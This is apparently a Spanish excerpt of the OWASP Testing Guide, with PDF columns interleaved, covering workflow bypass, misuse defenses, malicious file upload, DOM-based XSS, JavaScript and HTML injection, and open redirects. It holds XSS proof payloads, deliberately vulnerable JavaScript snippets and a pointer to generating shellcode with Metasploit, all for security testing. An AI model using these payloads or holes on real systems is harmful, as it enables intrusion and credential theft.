atacante puede iniciar transacciones y cancelarlas, para aumentar su nivel de
Pruebas para la evasión de los flujos de trabajo (OTG-BUSLOGIC-006) puntos sin realmente comprar algo.
Resumen
Las vulnerabilidades del flujo de trabajo incluyen cualquier tipo de Ejemplo 2

vulnerabilidad que permite al atacante hacer mal uso de una aplicación o
sistema de una manera que les permita evadir (no seguir) el flujo de trabajo Un sistema de tablero de anuncios electrónicos puede estar diseñado para
diseñado/deseado. garantizar que los mensajes iniciales no contengan groserías sobre la base de
una lista con la que se compara la nota. Si una palabra de la "lista negra" se
encuentra en el texto ingresado por el usuario, la presentación no se publica.
Pero, una vez que se registra la carga, el remitente puede acceder, editar y
“Un flujo de trabajo consiste en una secuencia de pasos conectados, donde cambiar el contenido de la nota para aumentar palabras incluidas en la lista
cada paso sigue sin retraso o diferencia y termina justo antes de que pueda de malas palabras/negra ya que al editar la publicación nunca se compara
empezar el paso siguiente Es una representación de una secuencia de nuevamente. Considerando esto, los atacantes pueden abrir un debate inicial
operaciones, declarada como trabajo de una persona o grupo, una en blanco o mínimo y, luego, añadir lo que quiera como una actualización.
organización de personal o uno o más mecanismos simples o complejos. El
flujo de trabajo puede ser visto como cualquier abstracción del trabajo real.”
(https://en.wikipedia.org/wiki/Workflow) Cómo probar
Método de prueba genérico
La lógica del negocio de la aplicación debe pedir al usuario que complete los •Revise la documentación del proyecto y utilice pruebas exploratorias en
pasos específicos en el orden correcto/específico y si el flujo de trabajo se busca de métodos para saltar o ir a otros pasos en el proceso de la aplicación,
termina sin completarse correctamente, todas las acciones que generó se en un orden diferente del flujo de la lógica del negocio diseñado/esperado.
"deshacen" o cancelan. Las vulnerabilidades relacionadas con la evasión de
los flujos de trabajo o el saltarse el flujo de trabajo de la lógica del negocio
correcto son únicas ya que son muy específicas para cada sistema/aplicación

288
• Para cada método, desarrolle un caso de mal uso y trate de evitar o realizar • Prueba de comprobación de integridad (OTG-BUSLOGIC-003)
una acción que sea "inaceptable" por el flujo de trabajo de la lógica del
negocio.
• Prueba del tiempo de procesamiento (OTG-BUSLOGIC-004)
Método de prueba específico 1
• Inicie una transacción dentro de la aplicación hasta pasar los puntos que • Prueba del número de veces que limita el uso de una función (OTG-
disparan los créditos/puntos hacia la cuenta del usuario. BUSLOGIC-005)
•Cancele la transacción o reduzca la oferta final de manera que los valores • Prueba de las defensas contra el mal uso de la aplicación (OTG-
del punto deban ser disminuidos y compruebe el sistema de puntos/crédito BUSLOGIC-007)
para asegurarse que se registraron los puntos/créditos adecuados.
• Prueba de la posibilidad de carga de tipos de archivos inesperados (OTG-

Método de prueba específico 2 BUSLOGIC-008)
• En un administrador de contenidos o sistema de tablero de anuncios, entre y

guarde texto inicial o valores válidos.
• Prueba de la posibilidad de carga de archivos maliciosos (OTG-
BUSLOGIC-009)
• Luego intente añadir, editar y eliminar datos que dejarían a los datos
existentes en un estado inválido o con valores inválidos para asegurar que al
usuario no le esté permitido guardar la información incorrecta. Algunos datos Referencias
o información "no válidos" pueden ser palabras específicas (palabras soeces)
o temas específicos (por ejemplo, cuestiones políticas). • OWASP Detail Misuse Cases: owasp.org
Casos de prueba relacionados • Real-Life Example of a ‘Business Logic Defect:
infosecisland.com
• Probar la inclusión de archivos de directorio de circulación (OTG-AUTHZ-

001)
• Top 10 Business Logic Attack Vectors Attacking and Exploiting Business
Application Assets and Flaws – Vulnerability Detection to Fix:
ntobjectives.com
• Pruebas para eludir el esquema de autorización (OTG-AUTHZ-002)
• CWE-840: Business Logic Errors: cwe.mitre.org

• Pruebas del esquema de gestión de sesión (OTG-SESS-001)
Remediación
• Prueba de la validación de datos de la lógica del negocio (OTG-
BUSLOGIC-001) La aplicación debe ser autoconsciente y tener comprobaciones localizadas
que aseguren que los usuarios completen cada paso del proceso del flujo de
trabajo en el orden correcto y evitar que los atacantes eludan/salten/o repitan
los pasos/procesos del flujo de trabajo. Probar las vulnerabilidades de flujo
• Prueba de la habilidad de manipular consultas (OTG-BUSLOGIC-002) de trabajo implica el desarrollar casos de abuso/mal uso de la lógica del
negocio con el objetivo de completar el proceso de negocio al no completar
los pasos correctos en el orden correcto.
289
Prueba de las defensas contra el mal uso de la aplicación (OTG- Si la aplicación no responde de ninguna manera y el atacante puede
BUSLOGIC-007) continuar abusando de la funcionalidad y envia contenido claramente
malicioso hacia la aplicación, la aplicación ha fallado este caso de prueba. En
Resumen la práctica, es poco probable que las acciones discretas del ejemplo anterior
sucedan así. Es mucho más probable que una herramienta de fuzzing se
El mal uso y uso no válido de una funcionalidad válida pueden identificar utilice para identificar las debilidades de cada parámetro a la vez. Esto es lo
ataques que trata de enumerar la aplicación web, identificar las debilidades y que un evaluador de seguridad habrá llevado a cabo, también.
explotar vulnerabilidades. Deberían realizarse pruebas para determinar si
existen mecanismos defensivos a nivel de la aplicación para proteger la
aplicación.
Cómo probar
Esta prueba en que el resultado puede obtenerse de todas las pruebas

La falta de defensas activas permite que un atacante cace las realizadas contra la aplicación web es inusual. Al realizar todas las pruebas,
vulnerabilidades sin necesitar de recurrir a ellas. Así, el propietario de la tome nota de las medidas que indiquen que la aplicación tiene un sistema de
aplicación no sabrá que su aplicación está bajo ataque. autodefensa incorporado:
Ejemplo • Respuestas cambiadas
Un usuario autenticado sigue la siguiente secuencia de acciones (poco • Solicitudes bloqueadas

probables):
• Acciones que desconectan al usuario o bloquean la cuenta del usuario
[1] Intenta acceder a un identificador de archivo que su rol de usuario no

permite descargar. Estas sólo pueden ser localizadas. Las defensas comúnmente localizadas
(por función) son:
[2] Sustituye una comilla simple (‘) en lugar del número de identificación del
archivo.
[3] Altera una solicitud GET convirtiéndola en POST. • Rechazar los ingresos que contienen determinados caracteres.
[4] Agrega un parámetro extra. • Bloquear una cuenta temporalmente después de una serie de fallos de
autenticación.
[5] Duplica el parámetro de la pareja nombre/valor.
Los controles de seguridad localizados no son suficientes. Normalmente no

La aplicación supervisa el mal uso y responde después del quinto evento; hay defensas contra el mal uso general tal como:
entonces podríamos decir con certeza que el usuario es un atacante. Por
ejemplo, la aplicación hace lo siguiente: • Navegación forzosa
• Evitar la validación de niveles de entrada de presentación
• Inhabilita la funcionalidad crítica. • Controles de errores de accesos múltiples
• Activa medidas de autenticación adicionales para las funciones restantes. • Parámetros adicionales de nombres, duplicados o faltantes
• Agrega retrasos de tiempo en cada ciclo de petición-respuesta. • Validación de ingresos múltiples o fallas de verificación de la lógica del
negocio con valores que no pueden ser el resultado de errores o faltas
• Comienza a grabar datos adicionales sobre las interacciones del usuario ortográficas del usuario
(por ejemplo encabezados de solicitudes HTTP desinfectados, cuerpos y
cuerpos de respuesta). • Recepción de datos estructurados (por ejemplo, JSON, XML) de un
formato no válido

290
• Se reciben cross-site scripting descarado o cargas de inyecciones SQL
• Utilizar la aplicación más rápido de lo que debería ser posible sin • IR 7684 Common Misuse Scoring System (CMSS), NIST:
herramientas de automatización
csrc.nist.gov
• Cambio en la geo-localización continental de un usuario
• Cambio de agente de usuario

• Common Attack Pattern Enumeration and Classification (CAPEC),The
• Acceso a un proceso de negocios de etapas múltiples en el orden incorrecto Mitre Corporation: capec.mitre.org
• Un gran número o un alto indice de uso de la funcionalidad específica de la

aplicación (por ejemplo: presentación del código del recibo, pagos fallidos
con tarjeta de crédito, carga de archivos, descargas de archivos, registro de • OWASP_AppSensor_Project: owasp.org
salidas, etc.).
• AppSensor Guide v2, OWASP: owasp.org

Estas defensas funcionan mejor en las partes autenticadas de la aplicación,
aunque la tasa de creación de nuevas cuentas o acceso al contenido (por
ejemplo, para raspar información) pueden ser de utilidad en las zonas
comunes. • Watson C, Coates M, Melton J and Groves G, Creating Attack Aware
Software Applications with Real-Time Defenses, CrossTalk The Journal of
Defense Software Engineering, Vol. 24, No. 5, Sep/Oct 2011:
crosstalkonline.org
No todos los casos anteriores deben ser monitoreados por la aplicación, pero
hay un problema si ninguno de ellos lo está. Probando la aplicación web,
haciendo el tipo de acciones anteriores, ¿ hubo alguna respuesta contra el
evaluador? Si no, el evaluador deberá informar que la aplicación parece no Prueba de la posibilidad de carga de tipos de archivos inesperados
tener ninguna aplicación de defensa activa contra el uso indebido. Tenga en (OTG-BUSLOGIC-008)
cuenta que a veces es posible que todas las respuestas sobre la detección de
ataques son silenciosas para el usuario (por ejemplo, cambios del registro, Resumen
mayor monitoreo, alertas a los administradores y uso de proxy), por lo que
no se garantiza la confianza en este hallazgo. En la práctica, muy pocas Muchos procesos del negocio de las aplicaciones permiten la carga y
aplicaciones (o infraestructura relacionada como un cortafuegos de manipulación de datos que se envían por medio de archivos. Pero el proceso
aplicación web) detecta estos tipos de mal uso. del negocio debe comprobar los archivos y permitir sólo los archivos
"aprobados". Decidir qué archivos deben ser "aprobados" se determina
mediante la lógica del negocio y es específico del sistema/aplicación.
Todos los otros casos son relevantes. El riesgo en permitir a los usuarios cargar archivos es que los atacantes
pueden enviar un tipo de archivo inesperado que podría ejecutarse y tener un
impacto adverso sobre la aplicación o sistema a través de ataques que pueden
desfigurar el sitio web, ejecutar comandos remotos, navegar por los archivos
Herramientas del sistema, navegar en los recursos locales, atacar a otros servidores o
explotar las vulnerabilidades locales, sólo para nombrar unos pocos.
El probador puede usar muchas de las herramientas utilizadas para los otros
casos de prueba.
Las vulnerabilidades relacionadas con la carga de los distintos tipos de

archivos inesperados es única, ya que la carga debe rechazar rápidamente un
Referencias archivo si no tiene una extensión específica. Además, esto es diferente de la
carga de archivos maliciosos puesto que, en la mayoría de los casos, un
• Resilient Software, Software Assurance, US Department formato incorrecto puede no ser inherentemente "malévolo" pero puede ser
perjudicial para los datos guardados. Por ejemplo, si una aplicación acepta
Homeland Security: buildsecurityin.us-cert.gov archivos de Excel de Windows, si se carga un archivo de base de datos

291
similar puede leerse, pero los datos extraídos pueden moverse a lugares • En la aplicación, navegue hasta la presentación del archivo o el mecanismo
incorrectos. de carga.
La aplicación puede estar esperando que solamente se carguen ciertos tipos • Envíe los archivos "no aprobados"para cargar y compruebe que se previene
de archivos para su procesamiento, tales como archivos .CSV o txt. La la carga correctamente.
aplicación no puede validar el archivo subido por su extensión (para
validación de archivos de baja seguridad) o contenido (para validación de
archivos de alta seguridad). Esto puede dar lugar a resultados inesperados
por parte del sistema o la base de datos en el sistema/aplicación o dar a los Casos de prueba relacionados
atacantes métodos adicionales para explotar el sistema/aplicación.
• Pruebe el manejo de archivos de extensiones en busca de información
sensible (OTG-CONFIG-003)
Ejemplo • Prueba de la posibilidad de carga de archivos maliciosos (OTG-

BUSLOGIC-009)
Supongamos que una aplicación para compartir imágenes permite a los
usuarios cargar un archivo gráfico .gif o .jpg en el sitio web. ¿Qué pasaría si
un atacante es capaz de subir un archivo html con una etiqueta <script> o un
archivo php? El sistema podría mover el archivo desde una ubicación Referencias
temporal hacia la ubicación final donde ahora puede ejecutarse el código php
contra el sistema o aplicación. • OWASP - Unrestricted File Upload: owasp.org
Cómo probar • File upload security best practices: Block a malicious file
Método de Prueba Genérico upload: computerweekly.com
• Revise la documentación del proyecto y realice algunas pruebas

exploratorias buscando tipos de archivos que deben aparecer como "no
soportados" por el sistema/aplicación. • Stop people uploading malicious PHP files via forms:
stackoverflow.com
• Trate de subir estos archivos "no admitidos" y verifique si son rechazados

correctamente.
• CWE-434: Unrestricted Upload of File with Dangerous Type:
cwe.mitre.org
• Si puede subir varios archivos a la vez, debe haber pruebas en el sitio para
verificar que cada archivo sea evaluado correctamente.
• Secure Programming Tips - Handling File Uploads:
Método de Prueba Específico datasprings.com
• Estudie los requisitos lógicos de la aplicación.
Remediación
• Prepare una biblioteca de archivos "no aprobados" para la carga que puede Las aplicaciones se deben desarrollar con mecanismos para que sólo acepte y
contener archivos tales como: archivos jsp, exe o html que contienen scripts. manipule archivos "aceptables" que el resto de funcionalidades de la
aplicación estén listas y esperando. Algunos ejemplos específicos incluyen:
listas negras o blancas de extensiones de archivo, utilizando el "Content-
Type" del encabezado o usando un reconocedor de tipo de archivo, todo esto
sólo permitir tipos de archivo específicos en el sistema.

292
• Revise la documentación del proyecto y realice algunas pruebas

exploratorias mirando el sistema/aplicación para identificar lo que constituye
Prueba de la posibilidad de carga de archivos maliciosos (OTG- un archivo "malicioso" en su entorno.
BUSLOGIC-009)
Resumen
• Desarrolle o consiga un archivo "malicioso" conocido.
Bastantes procesos de negocio dentro de muchas aplicaciones permiten la
carga de información. Regularmente verificamos la validez y seguridad del
texto, pero el aceptar archivos puede implicar aún más riesgo. Para reducir el
riesgo sólo podemos aceptar determinadas extensiones de archivo, pero los • Trate de cargar el archivo malicioso al sistema/aplicación y verifique si se
atacantes son capaces de encapsular un código malicioso en tipos de archivo lo rechaza correctamente.
inerte. Probar en busca de archivos maliciosos verifica que el
sistema/aplicación es capaz de protegerse correctamente contra la carga de
archivos maliciosos por parte de los atacantes.
• Si puede subir varios archivos a la vez, debe haber pruebas en el sitio para
verificar que cada archivo sea evaluado correctamente.
Las vulnerabilidades relacionadas con la carga de archivos maliciosos son

únicas; en ellas, estos archivos "maliciosos" pueden ser rechazados
fácilmente mediante la inclusión de una lógica del negocio que analiza los Método de Prueba Específico1
archivos durante el proceso de carga y rechaza aquellos percibidos como
maliciosos. Adicionalmente, esto difiere de la carga de archivos inesperados • Utilizando la funcionalidad de carga Metasploit,genere un shellcode similar
en que, mientras el tipo de archivo puede ser aceptado, el archivo todavía a un ejecutable de Windows; utilice el comando Metasploit “msfpayload”.
puede ser malicioso para el sistema. Por último, "malicioso" tiene distintos
significados según el sistema. Por ejemplo, archivos maliciosos que pueden
explotar vulnerabilidades del servidor SQL pueden no ser considerados "
maliciosos" en un entorno de archivos planos del procesador central. • Envíe el ejecutable mediante la funcionalidad para cargar la aplicación y
compruebe si es aceptada o se previene la carga correctamente.
La aplicación puede permitir la carga de archivos maliciosos que incluyen

explotaciones o shellcode sin someterlos a un análisis de archivos Método de Prueba Específico 2
maliciosos. Los archivos maliciosos pueden detectarse y detenerse en varios
• Desarrolle o cree un archivo que debe fallar en el proceso de detección de
puntos de la arquitectura de la aplicación, tales como: IPS/IDS, software
malware de la aplicación. Hay muchos disponibles en Internet tales como
antivirus para servidor de aplicaciones o análisis antivirus por cada
ducklin.htm o ducklin-html.htm.
aplicación, a medida que se cargan los archivos (tal vez descargando el
análisis mediante SCAP).
• Envíe el ejecutable mediante la funcionalidad para cargar la aplicación y

compruebe si es aceptada o se previene la carga correctamente.
Ejemplo
Supongamos que una aplicación para compartir imágenes permite a los

usuarios cargar un archivo gráfico .gif o .jpg en el sitio web. ¿Qué pasaría si
Método de prueba específico 3
un atacante es capaz de subir un PHP shell, o archivo exe o virus? El
atacante entonces podría cargar un archivo que puede ser guardado en el
• Configure el proxy interceptor para que capture la solicitud “válida” de un
sistema y el virus se puede reproducir por sí mismo o a través de procesos
archivo aceptado.
remotos, y archivos .exe o shell code puede ejecutarse.
• Envíe una solicitud “inválida” mediante una extensión de archivo

Cómo probar
válido/aceptable y observe si la solicitud es aceptada o rechazada
adecuadamente.
Método de prueba Genérico

293
infosecauditor.wordpress.com
• Pruebe el Manejo de Archivos de Extensiones en busca de información

sensible (OTG-CONFIG-003)
• Watchful File Upload: palizine.plynt.com
• Prueba de la posibilidad de carga de tipos de archivos inesperados (OTG-
BUSLOGIC-008)
• Matasploit Generating Payloads: offensive-security.com
Herramientas
• Metasploit’s payload generation functionality • Project Shellcode - Shellcode Tutorial 9: Generating
Shellcode Using Metasploit: projectshellcode.com
• Intercepting proxy
• Anti-Malware Test file: eicar.org
Referencias
• OWASP - Unrestricted File Upload: owasp.org Remediación
Aunque las salvaguardias como las listas negra o blanca de las extensiones
de archivo, que utilizan el "Content-Type" como encabezado o que usan un
• Why File Upload Forms are a Major Security Threat: reconocedor de tipo de archivo no sean siempre protecciones contra este tipo
de vulnerabilidad, cada aplicación que acepta archivos de usuarios debe tener
www.acunetix.com un mecanismo para verificar que el archivo no contiene un código malicioso.
Nunca deben guardarse archivos donde los usuarios o los atacantes pueden
acceder directamente a ellos.
• File upload security best practices: Block a malicious file upload:
computerweekly.com Probando el lado del cliente
Probar el lado del cliente se refiere a la ejecución de código en el cliente,

normalmente nativo en un navegador web o plugin de navegador. La
• Overview of Malicious File Upload Attacks: securitymecca.com ejecución de código en el lado del cliente es distinta a ejecutarla en el
servidor y devolver el contenido posterior.
Prueba del Cross site scripting basado en DOM (OTG-CLIENT-001)

• Stop people uploading malicious PHP files via forms :
Resumen
stackoverflow.com
Cross site scripting basado en DOM es el nombre de facto para errores XSS
que son el resultado del contenido activo del lado del navegador en una
página, generalmente JavaScript, que obtiene ingresos del usuario y luego
• How to Tell if a File is Malicious: techsupportalert.com hace algo inseguro, lo que lleva a la ejecución de código inyectado. Este
documento sólo habla de errores de JavaScript que conducen a XSS.
• CWE-434: Unrestricted Upload of File with Dangerous Type:

El DOM o Modelo de Objeto del Documento (Document Object Model) es el
cwe.mitre.org formato estructural utilizado para representar documentos en un navegador.
El DOM permite scripts dinámicos como JavaScript para referenciar los
componentes del documento como un campo de formulario o una cookie de
sesión. El DOM también se utiliza en el navegador por seguridad - por
• Implementing Secure File Upload:

294
ejemplo, para limitar a los scripts de dominios distintos el obtener las navegador, este se ejecuta directamente en el navegador del usuario sin contacto del
cookies de sesión desde otros dominios. Una vulnerabilidad XSS basada en servidor.
DOM ocurre cuando se modifica el contenido activo, como una función de
JavaScript; se modifica con una solicitud especialmente diseñada, tal como
un elemento DOM que puede ser controlado por un atacante.
Las consecuencias de las fallas XSS basadas en DOM son tan extensas como
las vistas en formas más conocidas de XSS, incluyendo la recuperación de la
cookie, inyección de scripts maliciosos, etc. y, por lo tanto, deben ser tratadas
Ha habido muy pocos trabajos publicados sobre este tema y, como tal, existe con la misma importancia.
muy poca estandarización de su significado y pruebas formales.

Cómo probar
La prueba de Caja Negra para XSS basado en DOM no se realiza
No todos los errores XSS requieren que el atacante controle el contenido habitualmente, ya que el acceso al código fuente siempre está disponible y debe
devuelto por el servidor, pero también puede abusar de las prácticas de una enviarse al cliente para que se ejecute.
codificación JavaScript pobre para lograr los mismos resultados. Las
consecuencias son las mismas que un fallo XSS típico, sólo que los medios
de entrega son diferentes. En comparación con otras vulnerabilidades de
cross site scripting (XSS reflejados y almacenados) donde un parámetro no Prueba de Caja Gris
desinfectado se pasa al servidor, es devuelto al usuario y se ejecuta en el
contexto del navegador del usuario, una vulnerabilidad XSS basada en DOM Probando las vulnerabilidades de XSS basadas en DOM:
controla el flujo del código mediante el uso de elementos del Modelo de
Objeto del Documento (DOM) junto con el código creado por el atacante Las aplicaciones JavaScript difieren significativamente de otros tipos de
para cambiar el flujo. aplicaciones, ya que se generan a menudo de manera dinámica por el servidor y,
para entender qué código está siendo ejecutado, el sitio web que estamos probando
debe ser rastreado para determinar todas las instancias de ejecución de JavaScript
donde se aceptan ingresos del usuario. Muchos sitios web se apoyan en grandes
Debido a su naturaleza, las vulnerabilidades XSS basadas en DOM pueden librerías de funciones, que a menudo se extienden en cientos de miles de líneas de
realizarse, en muchos casos, sin que el servidor pueda determinar lo que código y no se han desarrollado en la empresa. En estos casos, la prueba de arriba
realmente está ejecutándose. Esto hace que muchas de las técnicas de para abajo se convierte en la única opción viable, puesto que nunca se usan
filtración y detección general de XSS sean impotentes a este tipo de ataques. muchas funciones de nivel inferior, y analizarlas para determinar cuáles son sinks
utiliza más tiempo del disponible. Lo mismo se puede decir también de las
pruebas de arriba hacia abajo si la entradas o falta de ellas no se identifican.
El primer ejemplo hipotético utiliza el siguiente código del lado cliente:
<script> El ingreso del usuario viene en dos formas principalmente:
document.write(“Site is at: “ + document.location.href + “.”);
</script> • Entradas escritas en la página por el servidor, de una manera que no permite XSS
directo.
• Entradas obtenidas de objetos JavaScript del lado del cliente.

Un atacante puede anexar # <script>alert(‘xss’)</script> a la URL de la
página afectada que, cuando se ejecuta, mostrará el cuadro de alerta. En este
caso, el código anexado no se enviaría al servidor como todo lo que está
después del carácter # que no se trata como parte de la consulta por parte del Estos son dos ejemplos de cómo el servidor puede insertar datos en JavaScript:
navegador, sino como un fragmento.
var data = “<escaped data from the server>”;
var result = someFunction(“<escaped data from the server>”);

En este ejemplo, el código se ejecuta inmediatamente y aparece una alerta de "xss"
en la página. A diferencia de los tipos más comunes de cross site scripting
(almacenado y reflejado) en que se envía el código al servidor y luego al
Y aquí están dos ejemplos de entrada de objetos de JavaScript del lado del cliente:

295
var data = window.location; {
var result = someFunction(window.referer); document.write(“You are using an unknown browser.”);
Aunque hay poca diferencia con el código JavaScript en cómo se recuperan, es </script>
importante tener en cuenta que cuando la entrada es recibida por el servidor, el
servidor puede aplicar cualquier permutación a los datos que desea, mientras que
las permutaciones realizadas por objetos de JavaScript son bastante claras y
documentadas y, si es así, someFunction en el ejemplo anterior fuera un sink, Por esta razón, las pruebas automatizadas no detectarán las áreas susceptibles a XSS
entonces la explotabilidad del primero dependería de la filtración realizada por el basado en DOM, a menos que la herramienta de prueba pueda realizar un análisis
servidor, mientras que el segundo dependería de la codificación realizada por el adicional del código del lado cliente.
explorador en el objeto window.referer.
Las pruebas manuales, por lo tanto, deben llevarse a cabo y pueden realizarse examinando
Stefano Di Paulo ha escrito un excelente artículo sobre lo que los navegadores las áreas en el código donde se conocen los parámetros que pueden ser utiles para un
devuelven cuando se les pregunta por los distintos elementos de una dirección URL atacante. Los ejemplos de estas zonas incluyen lugares donde el código está escrito
que utiliza los atributos del documento. y la ubicación. Además, JavaScript se dinámicamente a la página y en otros lugares donde el DOM se modifica, o incluso donde
ejecuta a menudo fuera de bloques <script>, según lo evidenciado por los muchos los scripts se ejecutan directamente. Otros ejemplos son descritos en el excelente artículo
vectores que han llevado a evadir los filtros XSS en el pasado y. por lo tanto, al de DOM XSS por Amit Klein, al que se hace referencia al final de esta sección.
rastrear la aplicación, es importante tener en cuenta el uso de scripts en lugares
como controladores de eventos y bloques CSS con atributos de expresión. También
tenga en cuenta que cualquier sitio fuera del CSS u objetos de script tendrán que
evaluarse para determinar qué código está ejecutándose. Una prueba automatizada Referencias
tiene muy poco éxito en la identificación y validación de XSS basado en DOM,
que generalmente identifica XSS al enviar una carga específica y observar la Recursos OWASP
respuesta del servidor. Esto puede funcionar bien en el ejemplo simple
proporcionado a continuación, donde el parámetro de mensaje se refleja de vuelta • DOM based XSS Prevention Cheat Sheet
al usuario:
<script>
Libros Blancos
var pos=document.URL.indexOf(“message=”)+5;
• Document Object Model (DOM: en.wikipedia.org
document.write(document.URL.substring(pos,document.URL.length));
</script>
• DOM Based Cross Site Scripting or XSS of the Third Kind - Amit
Klein: webappsec.org
pero no puede ser detectada en el siguiente caso artificial:
<script>
• Browser location/document URI/URL Sources: code.google.com
var navAgt = navigator.userAgent;
Prueba de la ejecución de JavaScript (OTG-CLIENT-002)

if (navAgt.indexOf(“MSIE”)!=-1) {
Resumen
document.write(“You are using IE as a browser and visiting site: “ +

Una vulnerabilidad de inyección de JavaScript es un subtipo de Cross Site Scripting (XSS)
document.location.href + “.”); que implica la capacidad para inyectar código JavaScript arbitrario que ejecuta la
aplicación dentro del navegador de la víctima.
}
else

296
Esta vulnerabilidad puede tener muchas consecuencias, como la divulgación de las cookies La página contiene los siguientes scripts:
de sesión de un usuario, que podría ser utilizada para suplantar la identidad de la víctima o,
más generalmente, puede permitir al atacante modificar el contenido de la página vista por <script>
la víctima o el comportamiento de la aplicación.
function loadObj(){
var cc=eval(‘(‘+aMess+’)’);
Cómo probar
document.getElementById(‘mess’).textContent=cc.message;
Esta vulnerabilidad se produce cuando la aplicación carece de una validación adecuada de
entradas y salidas del usuario. JavaScript se utiliza para rellenar dinámicamente las páginas }
web. Esta inyección se produce durante esta fase de procesamiento de contenido y, en
consecuencia, afecta a la víctima.
if(window.location.hash.indexOf(‘message’)==-1)
Cuando se trata de explotar este tipo de cuestiones, considere que algunos caracteres var aMess=”({\”message\”:\”Hello User!\”})”;
reciben un trato diferente en los diferentes navegadores. Para referencia, vea el Wiki de
DOM XSS. else
var
aMess=location.hash.substr(window.location.hash.indexOf(‘message=’)+8);
El siguiente script no realiza ninguna validación de la variable rr que contiene la entrada
del usuario a través de la cadena de consulta y, además, no se aplica ningún tipo de </script>
codificación:
El código anterior contiene una fuente 'location.hash' que está controlada por el atacante,
Prueba de Caja Negra quien puede inyectar directamente en el valor de 'mensaje' un código JavaScript para tomar
el control del navegador del usuario.
var rr = location.search.substring(1);
if(rr)
Referencias
window.location=decodeURIComponent(rr);
Recursos OWASP
Esto implica que un atacante podría inyectar código JavaScript simplemente
enviando la siguiente cadena de consulta: • DOM based XSS Prevention Cheat Sheet
www.victim.com/?javascript:alert(1)
• DOMXSS.com: domxss.com
La prueba de Caja Negra para ejecución en JavaScript no suele realizarse ya que el acceso
al código fuente siempre está disponible, y necesita ser enviado al cliente para ser Libros Blancos
ejecutado.
• Browser location/document URI/URL Sources: codegoogle.com

Prueba de inyección HTML (OTG-CLIENT-003)
Prueba de las vulnerabilidades de ejecución de JavaScript:
Resumen
Por ejemplo, mirando la siguiente URL:
La inyección HTML es un tipo de inyección que se produce cuando un usuario es capaz
http://www.domxss.com/domxss/01_Basics/04_eval.html de controlar un punto de entrada y puede inyectar código HTML arbitrario en una página
web vulnerable. Esta vulnerabilidad puede tener muchas consecuencias, como la
divulgación de las cookies de sesión de un usuario que podrían ser utilizadas para suplantar

297
la identidad de la víctima o, más comúnmente, puede permitir al atacante modificar el añadirá una etiqueta de imagen a la página que se ejecutará un código JavaScript
contenido de la página vista por las víctimas. arbitrario introducido por el usuario malintencionado en el contexto HTML.
Cómo probar Pruebas de Caja Negra
Esta vulnerabilidad se produce cuando el ingreso del usuario no está correctamente Las pruebas de Caja Negra mediante inyección HTML normalmente no se realizan,
desinfectado y la salida no está codificada. Una inyección permite al atacante enviar una puesto que el acceso al código fuente siempre está disponible y necesita ser
página HTML maliciosa a una víctima. El navegador de destino no será capaz de enviado al cliente para su ejecución.
distinguir (confiar) entre la parte legítima y la maliciosa y, en consecuencia, analiza y
ejecuta todo como confiable en el contexto de la víctima. Hay una amplia gama de
métodos y atributos que podrían ser utilizados para representar el contenido HTML. Si a
estos métodos se les provee un ingreso no confiable, entonces hay un riesgo alto de XSS, Pruebas de Caja Gris
específicamente una inyección HTML. Se puede inyectar un código HTML malicioso,
por ejemplo, mediante innerHTML, que se utiliza para representar el código HTML Probando las vulnerabilidades de inyección HTML:
ingresado por el usuario. Si las cadenas no se desinfectan correctamente, el problema
llevaría a una inyección HTML basada en XSS. Otro método podría ser document.write() Por ejemplo, mirando el siguiente URL:
http://www.domxss.com/domxss/01_Basics/06_jquery_old_html.html
Cuando se trata de explotar este tipo de problema, considere que algunos caracteres reciben
un trato diferente en los diferentes navegadores. Para referencia ver la Wiki de DOM XSS.
La propiedad innerHTML establece o devuelve el código HTML interno de un elemento. El código HTML contiene el siguente script:
La falta de desinfección en ingresos no confiables y la falta de codificación en los datos de
salida podría permitir a un atacante inyectar código HTML malintencionado. <script src=”../js/jquery-1.7.1.js”></script>
<script>
Ejemplo de código vulnerable: El siguiente ejemplo muestra un fragmento de código function setMessage(){
vulnerable que permite que una entrada no validada sea utilizada para crear html dinámico
en el contexto de la página: var t=location.hash.slice(1);
var userposition=location.href.indexOf(“user=”); $(“div[id=”+t+”]”).text(“The DOM is now loaded and can be manipulated.”);
var user=location.href.substring(userposition+5); }
document.getElementById(“Welcome”).innerHTML=” Hello, “+user; $(document).ready(setMessage );
$(window).bind(“hashchange”,setMessage)
De la misma manera, en el siguiente ejemplo se muestra un código vulnerable mediante la </script>

función document.write():
<body><script src=”../js/embed.js”></script>
var userposition=location.href.indexOf(“user=”);
<span><a href=”#message” > Show Here</a><div id=”message”>Showing
var user=location.href.substring(userposition+5); Message1</div></span>
document.write(“<h1>Hello, “ + user +”</h1>”); <span><a href=”#message1” > Show Here</a><div id=”message1”>Showing

Message2</div>
<span><a href=”#message2” > Show Here</a><div id=”message2”>Showing

En ambos ejemplos, un ingreso como el siguiente : Message3</div>
http://vulnerable.site/page.html?user=<img%20src=’aaa’%20onerror=alert(1) </body>
>

298
Es posible inyectar código HTML. La víctima que visita target.site será redireccionada automáticamente a un
fake-target.site donde un atacante podría colocar una página falsa para robar
las credenciales de la víctima.
Referencias
Recursos OWASP Además, también podrían utilizarse redireccionamientos abiertos para crear
maliciosamente una URL que evite el control de acceso a la aplicación y
• OWASP DOM based XSS Prevention Cheat Sheet luego envíe al atacante hacia funciones privilegiadas a las que normalmente
no debería poder acceder.

Libros Blancos
La prueba de Caja Negra para el redireccionamiento de URL del lado del
• Browser location/document URI/URL Sources: cliente no suele realizarse ya que el acceso al código fuente siempre está
disponible, y necesita enviarse al cliente para su ejecución.
code.google.com
Prueba de Caja Gris

Pruebas de redireccionamiento de la URL del lado del cliente (OTG-
CLIENT-004) Probando las vulnerabilidades de redireccionamiento de URL del lado
del cliente:
Resumen
Cuando los evaluadores deben revisar manualmente esta vulnerabilidad,
Esta sección describe cómo comprobar el redireccionamiento de URL del lado deben identificar si hay redireccionamientos implementados en el código del
cliente, también conocido como redirección abierta. Es un error de validación lado del cliente (por ejemplo en el código JavaScript).
de entrada que se da cuando una aplicación acepta un ingreso controlado por
el usuario, que especifica un enlace que lleva a una URL externa. Este tipo de
vulnerabilidad podría utilizarse para realizar un ataque de phishing o redirigir
a una víctima a una página de infección. Estas redirecciones podrían aplicarse, por ejemplo en JavaScript, utilizando el
objeto de "window.location" que puede usarse para llevar al navegador a otra
página asignando una cadena, como se puede ver en el siguiente fragmento de
código.
Cómo probar
var redir = location.hash.substring(1);
Esta vulnerabilidad se produce cuando una aplicación acepta un ingreso no
confiable que contiene un valor de URL sin desinfectar. Este valor de URL if (redir)
podría causar que la aplicación web redireccione al usuario a otra página
